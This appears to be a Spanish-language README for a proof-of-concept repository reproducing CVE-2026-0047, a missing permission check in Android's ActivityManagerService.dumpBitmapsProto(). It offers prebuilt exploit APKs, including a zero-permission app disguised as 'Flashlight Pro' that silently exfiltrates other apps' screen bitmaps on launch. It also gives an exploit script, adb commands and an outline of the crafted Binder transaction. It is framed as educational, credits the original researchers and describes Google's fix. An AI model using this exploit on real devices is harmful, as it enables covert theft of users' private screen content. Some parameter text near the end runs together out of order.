
CVE-2026-0047: Falta de comprobación de permisos en ActivityManagerService.dumpBitmapsProto() — roba bitmaps de la interfaz de usuario de todas las aplicaciones en ejecución con cero permisos (Android 16 QPR2 Beta)
Un montón de mapas de bits robados de cada aplicación en ejecución — cero permisos, cero interacción del usuario.
La falta de la comprobación enforceCallingOrSelfPermission(DUMP) en ActivityManagerService.dumpBitmapsProto() permite que cualquier aplicación instalada exfiltre mapas de bits de la interfaz de usuario de todos los procesos en ejecución en Android 16 QPR2 Beta (Baklava).
Nota: No descubrimos esta vulnerabilidad. Todo el crédito por encontrarla y reportarla de forma responsable corresponde a los investigadores originales. Este repositorio contiene nuestro trabajo independiente de análisis de parche, reproducción e informe educativo para ayudar a la comunidad de seguridad a comprender la clase de bug y las técnicas de explotación implicadas.
| CVE | CVE-2026-0047 |
| Gravedad | Crítica — CVSS 8.4 |
| Componente | ActivityManagerService.dumpBitmapsProto() |
| Causa raíz | Falta de comprobación de permisos (CWE-280) |
| Impacto | Cualquier aplicación sin permisos roba mapas de bits de la interfaz de usuario de todas las aplicaciones en ejecución |
| Afectados | Android 16 QPR2 Beta 1–3 (Baklava), nivel de parche < 2026-03-01 |
| Parcheado | Boletín de seguridad de Android de marzo de 2026 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
Necesitas un emulador Android 16 QPR2 Beta (Baklava) con un nivel de parche de seguridad anterior a 2026-03-01:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Sonda Binder directa — El código de transacción #117 en el servicio activity corresponde a dumpBitmapsProto(). Enviarlo sin argumentos provoca una NullPointerException dentro de AMS (no una SecurityException), lo que demuestra que el cuerpo del método se ejecuta sin ninguna comprobación de permisos.
Explotación Binder directa — Usamos IBinder.transact() para enviar un Parcel especialmente elaborado directamente a AMS. Esto omite por completo las restricciones de API ocultas de Android — no se necesita ninguna configuración de hidden_api_policy. El Parcel contiene:
android.app.IActivityManager)ParcelFileDescriptor (extremo de escritura de la tubería)userId = -2 (USER_CURRENT)En un emulador Baklava (BP41.250725.007, parche 2025-08-05) con Ajustes, Reloj y Archivos abiertos:
Google añadió enforceCallingOrSelfPermission(DUMP) como la primera línea de dumpBitmapsProto(), por lo que los llamadores sin privilegios ahora reciben una SecurityException antes de que se acceda a cualquier dato.
Investigación y PoC por Mobile Hacking Lab. Reprodujimos esta vulnerabilidad de forma independiente con fines educativos.
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Úsala solo en dispositivos y entornos que poseas o sobre los que tengas permiso explícito para realizar pruebas. Los autores no se responsabilizan de ningún uso indebido.
dumpAll = trueformat = "png"Extracción de mapas de bits — AMS escribe datos protobuf que contienen mapas de bits PNG en la tubería. Buscamos los bytes mágicos de PNG (89 50 4E 47) y los marcadores finales IEND para extraer las imágenes individuales.